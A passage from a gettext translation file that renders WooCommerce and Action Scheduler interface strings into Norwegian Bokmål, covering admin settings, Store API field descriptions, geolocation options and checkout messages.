#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:305
#: assets/client/admin/chunks/4706.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Scheduled"
msgstr "Planlagt"
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:304
msgid "The action's schedule frequency."
msgstr "Handlingens tidsplanfrekvens."
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:303
msgid "Optional action group."
msgstr "Valgfri handlingsgruppe."
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:302
msgid "Optional data array passed to the action hook."
msgstr "Valgfri data array sendt til handlings-hook."
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:301
msgid "Action statuses are Pending, Complete, Canceled, Failed"
msgstr "Handlingsstatuser er Ventende, Fullført, Kansellert, Mislykket"
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:300
msgid "Name of the action hook that will be triggered."
msgstr "Navnet på handlings-hooken som utløses."
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:298
msgid "Scheduled Action Columns"
msgstr "Kolonner for planlagte handlinger"
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:275
msgid "Action Scheduler is a scalable, traceable job queue for background processing large sets of actions. Action Scheduler works by triggering an action hook to run at some time in the future. Scheduled actions can also be scheduled to run on a recurring schedule."
msgstr "Action Scheduler er en skalerbar, sporbar jobbkø for bakgrunnsbehandling av store sett med handlinger. Action Scheduler fungerer ved å utløse en handlingskrok for å kjøre på et tidspunkt i fremtiden. Planlagte handlinger kan også planlegges å kjøre på en regelmessig tidsplan."
#. translators: %s is the Action Scheduler version.
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:273
msgid "About Action Scheduler %s"
msgstr "Om handlingsplanlegger %s"
#: packages/action-scheduler/classes/ActionScheduler_AdminView.php:270
#: src/Blocks/Patterns/PatternRegistry.php:27
#: assets/client/admin/chunks/customize-store.js:1
msgid "About"
msgstr "Om"
#. translators: 1: source action ID 2: source store class 3: destination action
#. ID 4: destination store class
#: packages/action-scheduler/classes/migration/Runner.php:141
msgid "Migrated action with ID %1$d in %2$s to ID %3$d in %4$s"
msgstr "Overført handling med ID %1$d i %2$s til ID %3$d i %4$s"
#. translators: %d: amount of actions
#: packages/action-scheduler/classes/migration/Runner.php:114
msgid "Migrating %d action"
msgid_plural "Migrating %d actions"
msgstr[0] "Overfører %d-handling"
msgstr[1] "Overfører %d-handlinger"
#. translators: %s is an action ID.
#: packages/action-scheduler/classes/migration/ActionMigrator.php:109
msgid "Unable to remove source migrated action %s"
msgstr "Kan ikke fjerne kilden for den overførte handlingen %s"
#: packages/action-scheduler/classes/migration/Controller.php:183
msgid "Action Scheduler migration in progress. The list of scheduled actions may be incomplete."
msgstr "Handlingsplanlegger migrasjon pågår. Listen over planlagte handlinger kan være ufullstendig."
#: packages/action-scheduler/classes/migration/Config.php:146
msgid "Destination logger must be configured before running a migration"
msgstr "Mål-logger må konfigureres før du kjører en migrasjon"
#: packages/action-scheduler/classes/migration/Config.php:123
msgid "Destination store must be configured before running a migration"
msgstr "Mål-butikk må konfigureres før du kjører en migrasjon"
#: packages/action-scheduler/classes/migration/Config.php:100
msgid "Source logger must be configured before running a migration"
msgstr "Kilde-logger må konfigureres før du kjører en overføring"
#: packages/action-scheduler/classes/migration/Config.php:77
msgid "Source store must be configured before running a migration"
msgstr "Kilde-butikk må konfigureres før du kjører en overføring"
#: packages/action-scheduler/classes/ActionScheduler_ActionFactory.php:233
msgid "Invalid action - must be a recurring action."
msgstr "Ugyldig handling - må være en gjentakende handling."
#: packages/action-scheduler/classes/ActionScheduler_wcSystemStatus.php:113
msgid "Version:"
msgstr "Versjon:"
#. translators: 1: next cleanup message 2: github issue URL
#: packages/action-scheduler/classes/ActionScheduler_WPCommentCleaner.php:126
msgid "Action Scheduler has migrated data to custom tables; however, orphaned log entries exist in the WordPress Comments table. %1$s <a href=\"%2$s\">Learn more »</a>"
msgstr "Handlingsplanlegger har overført data til egendefinerte tabeller. Foreldreløse loggoppføringer finnes i WordPress-kommentartabellen. %1$s <a href=\"%2$s\">Lær mer »</a>"
#. translators: %s: date interval
#: packages/action-scheduler/classes/ActionScheduler_WPCommentCleaner.php:121
msgid "This data will be deleted in %s."
msgstr "Dataene vil bli slettet om %s."
#: includes/wc-template-functions.php:3099
msgid "Update country / region"
msgstr "Oppdater land / region"
#: includes/integrations/maxmind-geolocation/class-wc-integration-maxmind-geolocation.php:32
msgid "MaxMind Geolocation"
msgstr "MaxMind Geolocation"
#: includes/admin/views/html-admin-page-status-report.php:130
msgid "Unable to detect the Action Scheduler package."
msgstr "Kan ikke oppdage Handlingsplanleggerpakke."
#: includes/admin/views/html-admin-page-status-report.php:117
msgid "Action Scheduler package running on your site."
msgstr "Handlingsplanleggerpakke kjører på nettstedet ditt."
#: includes/admin/views/html-admin-page-status-report.php:116
msgid "Action Scheduler package"
msgstr "Handlingsplanleggerpakke"
#. translators: Link to WooCommerce Docs.
#: includes/admin/settings/class-wc-settings-products.php:455
msgid "Not required if your download directory is protected. <a href='%s'>See this guide</a> for more details. Files already uploaded will not be affected."
msgstr "Ikke påkrevd hvis din nedlastingskatalog er beskyttet. <a href='%s'>Se denne guiden</a> for mer informasjon. Filer som allerede er lastet opp blir ikke berørt."
#: includes/admin/settings/class-wc-settings-products.php:449
msgid "Append a unique string to filename for security"
msgstr "Legg til en unik streng til filnavnet for sikkerhet"
#: includes/admin/settings/class-wc-settings-products.php:448
msgid "Filename"
msgstr "Filnavn"
#: includes/admin/settings/class-wc-settings-products.php:397
msgid "Redirect only (Insecure)"
msgstr "Kun omdiriger (Usikker)"
#. translators: Link to WooCommerce Docs.
#: includes/admin/settings/class-wc-settings-products.php:391
msgid "If you are using X-Accel-Redirect download method along with NGINX server, make sure that you have applied settings as described in <a href='%s'>Digital/Downloadable Product Handling</a> guide."
msgstr "Hvis du bruker nedlastingsmetoden X-Accel-Redirect sammen med NGINX-server, må du kontrollere at du har brukt innstillinger som beskrevet i <a href='%s'>veiledningen for digital/nedlastbar produkthåndtering</a>."
#: includes/admin/class-wc-admin-settings.php:772
msgid "Choose countries / regions…"
msgstr "Velg land / regioner…"
#: includes/admin/class-wc-admin-settings.php:742
#: includes/admin/class-wc-admin-setup-wizard.php:505
msgid "Choose a country / region…"
msgstr "Velg land / region…"
#: includes/admin/meta-boxes/views/html-order-items.php:188
#: assets/client/blocks/cart.js:22 assets/client/blocks/checkout.js:25
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:37
msgid "Fees:"
msgstr "Gebyrer:"
#: includes/admin/meta-boxes/views/html-order-items.php:179
msgid "Coupon(s):"
msgstr "Rabattkode(r):"
#: includes/admin/meta-boxes/views/html-order-items.php:171
msgid "Items Subtotal:"
msgstr "Produktdelsum:"
#: includes/admin/class-wc-admin-profile.php:74
#: includes/admin/class-wc-admin-profile.php:134
#: includes/admin/class-wc-admin-settings.php:742
#: includes/admin/class-wc-admin-settings.php:773
#: includes/admin/class-wc-admin-setup-wizard.php:505
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:87
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:159
#: includes/class-wc-countries.php:793
#: src/Admin/API/Reports/Customers/Controller.php:549
#: assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/analytics-report-customers.js:1
msgid "Country / Region"
msgstr "Land / Region"
#: includes/admin/notes/class-wc-notes-run-db-update.php:264
msgid "WooCommerce database update done"
msgstr "Oppdatering av WooCommerce-database er ferdig"
#: includes/admin/notes/class-wc-notes-run-db-update.php:215
msgid "WooCommerce database update in progress"
msgstr "Oppdatering av WooCommerce database pågår"
#: includes/admin/notes/class-wc-notes-run-db-update.php:213
msgid "View progress →"
msgstr "Se fremdrift →"
#: includes/class-wc-privacy-erasers.php:65
#: includes/class-wc-privacy-exporters.php:204
msgid "Shipping Country / Region"
msgstr "Fraktland / -region"
#: includes/class-wc-privacy-erasers.php:54
#: includes/class-wc-privacy-exporters.php:193
msgid "Billing Country / Region"
msgstr "Faktureringsland / -region"
#: includes/admin/class-wc-admin-profile.php:78
#: includes/admin/class-wc-admin-profile.php:138
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:91
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:163
#: includes/wc-template-functions.php:3091
#: templates/cart/shipping-calculator.php:32
msgid "Select a country / region…"
msgstr "Velg land / region…"
#: src/Blocks/BlockTypes/AbstractProductGrid.php:629
#: src/Blocks/BlockTypes/ProductSaleBadge.php:86
#: assets/client/blocks/all-products.js:6
#: assets/client/blocks/cart-frontend.js:1 assets/client/blocks/cart.js:12
#: assets/client/blocks/product-image-frontend.js:4
#: assets/client/blocks/product-image.js:4
#: assets/client/blocks/product-sale-badge-frontend.js:1
#: assets/client/blocks/product-sale-badge.js:1
msgid "Product on sale"
msgstr "Produkt på salg"
#: src/Blocks/BlockTypes/ProductCategories.php:233
msgid "List of categories with their product counts"
msgstr "Liste over kategorier med antall produkter"
#: src/Blocks/BlockTypes/ProductCategories.php:232
msgid "List of categories"
msgstr "Liste over kategorier"
#: includes/shortcodes/class-wc-shortcode-checkout.php:113
msgid "You are paying for a guest order. Please continue with payment only if you recognize this order."
msgstr "Du betaler for en gjesteordre. Fortsett med betalingen kun hvis du kjenner igjen denne ordren."
#: src/Blocks/BlockTypes/ProductFilterPriceSlider.php:145
#: src/Blocks/BlockTypes/ProductFilterPriceSlider.php:159
#: assets/client/blocks/price-filter-frontend.js:5
#: assets/client/blocks/price-filter-wrapper-frontend.js:5
#: assets/client/blocks/price-filter.js:5
msgid "Filter products by maximum price"
msgstr "Filtrer produkter etter maksimum pris"
#: src/Blocks/BlockTypes/ProductFilterPriceSlider.php:102
#: src/Blocks/BlockTypes/ProductFilterPriceSlider.php:133
#: assets/client/blocks/price-filter-frontend.js:5
#: assets/client/blocks/price-filter-wrapper-frontend.js:5
#: assets/client/blocks/price-filter.js:5
msgid "Filter products by minimum price"
msgstr "Filtrer produkter etter minimum pris"
#: assets/client/blocks/product-button/block.json
msgctxt "block description"
msgid "Display a call to action button which either adds the product to the cart, or links to the product page."
msgstr "Vis en oppfordringsknapp som enten legger produktet i handlekurven, eller lenker til produktsiden."
#: includes/admin/settings/class-wc-settings-emails.php:203
msgid "Center"
msgstr "Midtstilt"
#: src/Internal/Admin/EmailPreview/EmailPreview.php:479
#: assets/client/blocks/active-filters-frontend.js:6
#: assets/client/blocks/active-filters-wrapper-frontend.js:6
#: assets/client/blocks/active-filters.js:6
#: assets/client/blocks/add-to-cart-with-options-variation-selector-attribute.js:1
#: assets/client/blocks/add-to-cart-with-options-variation-selector.js:1
#: assets/client/blocks/cart.js:2 assets/client/blocks/checkout.js:2
#: assets/client/blocks/featured-category.js:2
#: assets/client/blocks/featured-product.js:2
#: assets/client/blocks/mini-cart-contents.js:1
#: assets/client/blocks/product-filter-active.js:1
#: assets/client/blocks/wc-blocks-data.js:3
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:40
msgid "Color"
msgstr "Farge"
#: src/Internal/Admin/EmailPreview/EmailPreview.php:480
#: assets/client/blocks/active-filters-frontend.js:6
#: assets/client/blocks/active-filters-wrapper-frontend.js:6
#: assets/client/blocks/active-filters.js:6
#: assets/client/blocks/add-to-cart-with-options-variation-selector-attribute.js:1
#: assets/client/blocks/add-to-cart-with-options-variation-selector.js:1
#: assets/client/blocks/cart.js:2 assets/client/blocks/checkout.js:2
#: assets/client/blocks/mini-cart-contents.js:1
#: assets/client/blocks/wc-blocks-data.js:3
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:40
msgid "Small"
msgstr "Liten"
#: src/Internal/Admin/EmailPreview/EmailPreview.php:480
#: assets/client/blocks/active-filters-frontend.js:6
#: assets/client/blocks/active-filters-wrapper-frontend.js:6
#: assets/client/blocks/active-filters.js:6
#: assets/client/blocks/add-to-cart-with-options-variation-selector-attribute.js:1
#: assets/client/blocks/add-to-cart-with-options-variation-selector.js:1
#: assets/client/blocks/cart.js:2 assets/client/blocks/checkout.js:2
#: assets/client/blocks/mini-cart-contents.js:1
#: assets/client/blocks/product-filter-active.js:1
#: assets/client/blocks/wc-blocks-data.js:3
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:40
msgid "Size"
msgstr "Størrelse"
#: includes/admin/class-wc-admin-brands.php:147
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:185
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:225
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:263
msgid "And"
msgstr "Og"
#: includes/wc-template-functions.php:1629
#: assets/client/blocks/all-products-frontend.js:4
#: assets/client/blocks/all-products.js:9
#: assets/client/blocks/all-products.js:12
msgid "Price: high to low"
msgstr "Pris: høy til lav"
#: includes/wc-template-functions.php:1628
#: assets/client/blocks/all-products-frontend.js:4
#: assets/client/blocks/all-products.js:9
#: assets/client/blocks/all-products.js:12
msgid "Price: low to high"
msgstr "Pris: lav til høy"
#: includes/wc-template-functions.php:1627
#: assets/client/blocks/all-products-frontend.js:4
#: assets/client/blocks/all-products.js:9
#: assets/client/blocks/all-products.js:12
msgid "Latest"
msgstr "Nyeste"
#: includes/wc-template-functions.php:1625
#: assets/client/blocks/all-products-frontend.js:4
#: assets/client/blocks/all-products.js:9
#: assets/client/blocks/all-products.js:12
msgid "Popularity"
msgstr "Popularitet"
#: src/StoreApi/Schemas/V1/ImageAttachmentSchema.php:52
msgid "Thumbnail sizes for responsive images."
msgstr "Miniatyrbildestørrelse for responsive bilder."
#: src/StoreApi/Schemas/V1/ImageAttachmentSchema.php:47
msgid "Thumbnail srcset for responsive images."
msgstr "Miniatyrbilde srcset for responsive bilder."
#: src/StoreApi/Schemas/V1/ImageAttachmentSchema.php:41
msgid "Thumbnail URL."
msgstr "Nettadresse til miniatyrbilde."
#: src/StoreApi/Schemas/V1/ImageAttachmentSchema.php:35
msgid "Full size image URL."
msgstr "Nettadresse til bilde i full størrelse."
#: includes/admin/helper/class-wc-helper-admin.php:217
msgid "Missing product ID"
msgstr "Mangler produkt-id."
#: src/StoreApi/Schemas/V1/CartFeeSchema.php:30
msgid "Unique identifier for the fee within the cart."
msgstr "Unik identifikator for gebyret i handlekurven."
#: src/StoreApi/Schemas/V1/ProductSchema.php:479
msgid "Button description."
msgstr "Knappebeskrivelse."
#: src/StoreApi/Schemas/V1/ProductSchema.php:473
msgid "Button text."
msgstr "Knappetekst."
#: src/StoreApi/Schemas/V1/ProductSchema.php:467
msgid "Add to cart button parameters."
msgstr "Parametre for 'Legg i handlekurv'-knapp."
#: src/StoreApi/Schemas/V1/ProductSchema.php:423
msgid "Is the product in stock?"
msgstr "Er produktet på lager?"
#: src/StoreApi/Schemas/V1/ProductSchema.php:417
msgid "Is the product purchasable?"
msgstr "Er produktet kjøpbart?"
#: src/StoreApi/Schemas/V1/ItemSchema.php:232
#: src/StoreApi/Schemas/V1/ItemSchema.php:238
#: src/StoreApi/Schemas/V1/ProductSchema.php:148
#: src/StoreApi/Schemas/V1/ProductSchema.php:154
msgid "Price amount."
msgstr "Prisbeløp."
#: src/StoreApi/Schemas/V1/ItemSchema.php:226
#: src/StoreApi/Schemas/V1/ProductSchema.php:142
msgid "Price range, if applicable."
msgstr "Prisintervall, om aktuelt."
#: src/StoreApi/Schemas/V1/ItemSchema.php:220
#: src/StoreApi/Schemas/V1/ItemSchema.php:270
#: src/StoreApi/Schemas/V1/ProductSchema.php:136
msgid "Sale product price, if applicable."
msgstr "Tilbudspris for produktet, om aktuelt."
#: src/StoreApi/Schemas/V1/ItemSchema.php:214
#: src/StoreApi/Schemas/V1/ItemSchema.php:264
#: src/StoreApi/Schemas/V1/ProductSchema.php:130
msgid "Regular product price."
msgstr "Vanlig produktpris."
#: src/StoreApi/Schemas/V1/ProductSchema.php:105
msgid "Is the product on sale?"
msgstr "Er produktet på tilbud?"
#: src/StoreApi/Schemas/V1/ProductAttributeSchema.php:60
msgid "If this attribute has term archive pages."
msgstr "Om dette attributtet har arkivsider for termer."
#: src/StoreApi/Schemas/V1/ProductAttributeSchema.php:54
msgid "How terms in this attribute are sorted by default."
msgstr "Hvordan vilkår i dette attributtet skal sorteres som standard."
#: src/StoreApi/Schemas/V1/ProductAttributeSchema.php:48
msgid "Attribute type."
msgstr "Attributt-type."
#: src/StoreApi/Routes/V1/CartAddItem.php:74
#: src/StoreApi/Schemas/V1/ItemSchema.php:162
msgid "Variation attribute value."
msgstr "Verdi for variant-attributt."
#: src/StoreApi/Routes/V1/CartAddItem.php:69
#: src/StoreApi/Schemas/V1/ItemSchema.php:156
msgid "Variation attribute name."
msgstr "Navn på variant-attributt."
#: src/StoreApi/Routes/V1/CartAddItem.php:62
#: src/StoreApi/Schemas/V1/ItemSchema.php:142
msgid "Chosen attributes (for variations)."
msgstr "Valgte attributter (for varianter)."
#: src/StoreApi/Schemas/V1/ItemSchema.php:95
msgid "Stock keeping unit, if applicable."
msgstr "Lagerstyringsenhet, om aktuelt."
#: src/StoreApi/Routes/V1/CartAddItem.php:48
msgid "The cart item product or variation ID."
msgstr "Produkt- eller variant-ID for produktlinjen i handlekurven."
#: src/StoreApi/Schemas/V1/CartSchema.php:159
msgid "Total weight (in grams) of all products in the cart."
msgstr "Total vekt (i gram) av alle produkter i handlekurven."
#: src/StoreApi/Schemas/V1/CartSchema.php:181
#: src/StoreApi/Schemas/V1/OrderSchema.php:272
msgid "True if the cart needs shipping. False for carts with only digital goods or stores with no shipping methods set-up."
msgstr "Sann om handlekurven trenger frakt. Usann for handlekurver med bare digitale produkter eller butikker uten fraktmåter satt opp."
#: src/StoreApi/Schemas/V1/CartSchema.php:143
msgid "List of cart items."
msgstr "Liste over produktlinjer i handlekurven."
#: src/StoreApi/Schemas/V1/CartSchema.php:153
msgid "Number of items in the cart."
msgstr "Antall produktlinjer i handlekurven."
#: src/StoreApi/Schemas/V1/TermSchema.php:60
msgid "Number of objects (posts of any type) assigned to the term."
msgstr "Antall objekter (innhold av alle typer) tilordnet vilkåret."
#: src/StoreApi/Schemas/V1/TermSchema.php:48
msgid "Term description."
msgstr "Term-beskrivelse."
#: src/StoreApi/Schemas/V1/TermSchema.php:42
msgid "String based identifier for the term."
msgstr "Strengbasert identifikator for termen."
#: src/StoreApi/Routes/V1/Products.php:454
msgid "Limit result set to products with a certain average rating."
msgstr "Begrense resultatsettet til produkter med en bestemt gjennomsnitsvurdering."
#: src/StoreApi/Routes/V1/Products.php:437
msgid "The logical relationship between attributes when filtering across multiple at once."
msgstr "Det logiske forholdet mellom attributter ved filtrering på tvers av flere samtidig."
#: src/StoreApi/Routes/V1/Products.php:419
msgid "List of attribute slug(s). If a term ID is provided, this will be ignored."
msgstr "Liste over attributt-identifikator(er). Om en term-ID er oppgitt vil dette bli ignorert."
#: src/StoreApi/Routes/V1/Products.php:411
msgid "List of attribute term IDs."
msgstr "Liste over attributt-term-IDer."
#: src/StoreApi/Routes/V1/Products.php:406
msgid "Attribute taxonomy name."
msgstr "Taksonominavn for attributt."
#: src/StoreApi/Routes/V1/Products.php:400
msgid "Limit result set to products with selected global attributes."
msgstr "Begrense resultatsettet til produkter med valgte globale attributter."
#: src/StoreApi/Routes/V1/Products.php:183
msgid "When limiting response using after/before, which date column to compare against."
msgstr "Når du begrenser svar ved å bruke etter/før, hvilken datakolonne skal det sammenlignes med."
#: src/StoreApi/Routes/V1/Products.php:176
msgid "Limit response to resources created before a given ISO8601 compliant date."
msgstr "Begrens svar til ressurser utgitt før en gitt ISO8601 kompatibel dato."
#: src/StoreApi/Routes/V1/ProductCollectionData.php:235
msgid "If true, calculates rating counts for products in the collection."
msgstr "Hvis sant, beregnes antall vurderinger for produkter i samlingen."
#: src/StoreApi/Routes/V1/ProductCollectionData.php:223
msgid "Filter condition\t being performed which may affect counts. Valid values include \"and\" and \"or\"."
msgstr "Filtervalg utføres som kan påvirke tellingene. Gyldige verdier inkluderer \"og\" og \"eller\"."
#: src/StoreApi/Routes/V1/ProductCollectionData.php:217
#: src/StoreApi/Routes/V1/ProductCollectionData.php:245
msgid "Taxonomy name."
msgstr "Navn på taksonomi."
#: src/StoreApi/Routes/V1/ProductCollectionData.php:211
msgid "If requested, calculates attribute term counts for products in the collection."
msgstr "Hvis etterspurt, beregnes antall attributt-termer for produkter i samlingen."
#: src/StoreApi/Routes/V1/ProductCollectionData.php:199
msgid "If true, calculates the minimum and maximum product prices for the collection."
msgstr "Hvis sant, beregnes minimum og maksimum produktpriser for samlingen."
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:76
msgid "Returns number of products with each average rating."
msgstr "Returnerer antall produkter med hver gjennomsnittsvurdering."
#: src/Admin/API/Reports/Stock/Stats/Controller.php:88
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:67
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:90
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:113
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:136
msgid "Number of products."
msgstr "Antall produkter."
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:44
msgid "Max price found in collection of products."
msgstr "Maks pris funnet i samlingen av produkter."
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:38
msgid "Min price found in collection of products."
msgstr "Minstepris funnet i samlingen av produkter."
#: src/StoreApi/Routes/V1/ProductAttributesById.php:83
msgid "Invalid attribute ID."
msgstr "Ugyldig attributt-ID."
#: src/StoreApi/Routes/V1/CartAddItem.php:98
#: src/StoreApi/Routes/V1/CartItems.php:104
msgid "Cannot create an existing cart item."
msgstr "Kan ikke opprette et eksisterende produktlinje i handlekurven."
#: src/StoreApi/Routes/V1/CartItemsByKey.php:90
#: src/StoreApi/Routes/V1/CartItemsByKey.php:128
#: src/StoreApi/Utilities/CartController.php:242
msgid "Cart item does not exist."
msgstr "Produktlinjen i handlekurven finnes ikke."
#: src/StoreApi/Routes/V1/CartItemsByKey.php:51
#: src/StoreApi/Schemas/V1/CartShippingRateSchema.php:96
msgid "Unique identifier for the item within the cart."
msgstr "Unik identifikator for produktlinjen i handlekurven."
#: src/StoreApi/Utilities/CartController.php:816
msgid "Unable to retrieve cart."
msgstr "Ikke i stand til å hente handlekurv."
#: src/StoreApi/Routes/V1/ProductAttributeTerms.php:83
msgid "Attribute does not exist."
msgstr "Attributtet finnes ikke."
#: src/StoreApi/Routes/V1/ProductAttributeTerms.php:44
msgid "Unique identifier for the attribute."
msgstr "Unik identifikator for attributtet."
#: src/StoreApi/Utilities/CartController.php:1438
msgid "No matching variation found."
msgstr "Ingen passende variant funnet."
#: src/StoreApi/Utilities/CartController.php:1378
msgid "Missing variation data for variable product."
msgstr "Mangler variantdata for variabelt produkt."
#. translators: %1$s: Attribute name, %2$s: Allowed values.
#: src/StoreApi/Utilities/CartController.php:1356
msgid "Invalid value posted for %1$s. Allowed values: %2$s"
msgstr "Ugyldig verdi publisert for %1$s. Tillatte verdier: %2$s"
#: src/StoreApi/Utilities/CartController.php:1535
msgid "This product cannot be added to the cart."
msgstr "Dette produktet kan ikke legges i handlekurven."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:745
msgid "Total post count."
msgstr "Total antall innlegg."
#: i18n/states.php:1150
msgid "Xaisomboun"
msgstr "Xaisomboun"
#: i18n/states.php:1149
msgid "Xiangkhouang"
msgstr "Xiangkhouang"
#: i18n/states.php:1148
msgid "Sekong"
msgstr "Sekong"
#: i18n/states.php:1147
msgid "Sainyabuli"
msgstr "Sainyabuli"
#: i18n/states.php:1146
msgid "Vientiane"
msgstr "Vientiane"
#: i18n/states.php:1145
msgid "Vientiane Province"
msgstr "Vientiane Province"
#: i18n/states.php:1144
msgid "Savannakhet"
msgstr "Savannakhet"
#: i18n/states.php:1143
msgid "Salavan"
msgstr "Salavan"
#: i18n/states.php:1142
msgid "Phongsaly"
msgstr "Phongsaly"
#: i18n/states.php:1141
msgid "Oudomxay"
msgstr "Oudomxay"
#: i18n/states.php:1140
msgid "Luang Prabang"
msgstr "Luang Prabang"
#: i18n/states.php:1139
msgid "Luang Namtha"
msgstr "Luang Namtha"
#: i18n/states.php:1138
msgid "Khammouane"
msgstr "Khammouane"
#: i18n/states.php:1137
msgid "Houaphanh"
msgstr "Houaphanh"
#: i18n/states.php:1136
msgid "Champasak"
msgstr "Champasak"
#: i18n/states.php:1135
msgid "Bolikhamsai"
msgstr "Bolikhamsai"
#: i18n/states.php:1134
msgid "Bokeo"
msgstr "Bokeo"
#: i18n/states.php:1133
msgid "Attapeu"
msgstr "Attapeu"
#. translators: %s: field name
#: includes/class-wc-checkout.php:866
msgctxt "checkout-validation"
msgid "Billing %s"
msgstr "Betaling %s"
#. translators: %s: field name
#: includes/class-wc-checkout.php:862
msgctxt "checkout-validation"
msgid "Shipping %s"
msgstr "Frakt %s"
#: includes/gateways/paypal/class-wc-gateway-paypal.php:852
msgid "Thank you for your payment. Your transaction has been completed, and a receipt for your purchase has been emailed to you. Log into your PayPal account to view transaction details."
msgstr "Takk for betalingen. Transaksjonen er fullført, og en kvittering for kjøpet er sendt til deg på e-post. Logg inn på PayPal-kontoen din for å se transaksjonsdetaljer."
#. translators: %d number of seconds
#: includes/class-wc-form-handler.php:532
msgid "You cannot add a new payment method so soon after the previous one. Please wait for %d second."
msgid_plural "You cannot add a new payment method so soon after the previous one. Please wait for %d seconds."
msgstr[0] "Du kan ikke legge til en ny betalingsmåte så snart etter den forrige. Vent i %d sekund."
msgstr[1] "Du kan ikke legge til en ny betalingsmåte så snart etter den forrige. Vent i %d sekunder."
#. translators: 1: wc_get_product 2: woocommerce_init 3:
#. woocommerce_after_register_taxonomy 4: woocommerce_after_register_post_type
#: includes/wc-product-functions.php:72
msgid "%1$s should not be called before the %2$s, %3$s and %4$s actions have finished."
msgstr "%1$s må ikke kalles før %2$s, %3$s og %4$s-handlinger er fullført."
#: includes/data-stores/class-wc-product-variation-data-store-cpt.php:63
msgid "Invalid product type: passed ID does not correspond to a product variation."
msgstr "Ugyldig produkttype: Angitt id samsvarer ikke med en produktvariant."
#: includes/integrations/maxmind-geolocation/views/html-admin-options.php:21
msgid "The location that the MaxMind database should be stored. By default, the integration will automatically save the database here."
msgstr "Plasseringen hvor MaxMind-databasen skal lagres. Som standard lagrer integrasjonen databasen automatisk her."
#: includes/integrations/maxmind-geolocation/views/html-admin-options.php:15
#: includes/integrations/maxmind-geolocation/views/html-admin-options.php:19
msgid "Database File Path"
msgstr "Sti til databasefil"
#. translators: %1$s: Documentation URL
#: includes/integrations/maxmind-geolocation/class-wc-integration-maxmind-geolocation.php:105
msgid "The key that will be used when dealing with MaxMind Geolocation services. You can read how to generate one in <a href=\"%1$s\">MaxMind Geolocation Integration documentation</a>."
msgstr "Nøkkelen som vil bli brukt når du arbeider med MaxMind Geolocation-tjenester. Du kan lese hvordan du genererer en i <a href=\"%1$s\">MaxMind Geolocation Integration-dokumentasjon</a> ."
#: includes/integrations/maxmind-geolocation/class-wc-integration-maxmind-geolocation.php:101
msgid "MaxMind License Key"
msgstr "MaxMind lisensnøkkel"
#: includes/integrations/maxmind-geolocation/class-wc-integration-maxmind-geolocation.php:33
msgid "An integration for utilizing MaxMind to do Geolocation lookups. Please note that this integration will only do country lookups."
msgstr "En integrasjon for å bruke MaxMind til å gjøre geolokatsjonsoppslag. Vær oppmerksom på at denne integrasjonen bare vil gjøre oppslag på land."
#: includes/integrations/maxmind-geolocation/class-wc-integration-maxmind-database-service.php:148
msgid "Missing MaxMind Reader library!"
msgstr "Mangler MaxMind Reader-biblioteket!"
#: includes/integrations/maxmind-geolocation/class-wc-integration-maxmind-database-service.php:114
msgid "Failed to download the MaxMind database."
msgstr "Kunne ikke laste ned MaxMind-databasen."
#: includes/integrations/maxmind-geolocation/class-wc-integration-maxmind-database-service.php:109
msgid "The MaxMind license key is invalid. If you have recently created this key, you may need to wait for it to become active."
msgstr "MaxMind-lisensnøkkelen er ugyldig. Hvis du nylig har opprettet denne nøkkelen, kan det hende du må vente til den blir aktiv."
#. translators: %s: search query
#: packages/action-scheduler/classes/abstracts/ActionScheduler_Abstract_ListTable.php:668
msgid "Search results for \"%s\""
msgstr "Søkeresultater for \"%s\""
#. translators: Actual coupon code.
#: includes/abstracts/abstract-wc-order.php:1235
msgid "You have used this coupon %s in another transaction during this checkout, and coupon usage limit is reached. Please remove the coupon and try again."
msgstr "Du har brukt denne rabattkoden %s i en annen transaksjon i løpet av denne kasseøkten, og rabattkodens grense for bruk er nådd. Du må fjerne rabattkoden og forsøke igjen."
#. translators: Actual coupon code.
#: includes/abstracts/abstract-wc-order.php:1213
msgid "Coupon %s was used in another transaction during this checkout, and coupon usage limit is reached. Please remove the coupon and try again."
msgstr "Rabattkoden %s ble brukt i en annen transaksjon i løpet av denne kasseøkten, og rabattkodens grense for bruk er nådd. Du må fjerne rabattkoden og forsøke igjen."
#. translators: Actual coupon code.
#: includes/abstracts/abstract-wc-order.php:1210
#: includes/abstracts/abstract-wc-order.php:1232
msgid "An unexpected error happened while applying the Coupon %s."
msgstr "En uventet feil oppsto ved bruk av rabattkoden %s."
#. translators: %s: decimal
#: includes/admin/class-wc-admin-assets.php:420
msgid "Please enter a value with one decimal point (%s) without thousand separators."
msgstr "Du må legge inn en verdi med ett desimalskilletegn (%s) uten tusenskilletegn."
#. translators: %1$s: usage tracking help link
#: includes/admin/class-wc-admin-setup-wizard.php:625
msgid "Learn more about how usage tracking works, and how you'll be helping in our <a href=\"%1$s\" target=\"_blank\">usage tracking documentation</a>."
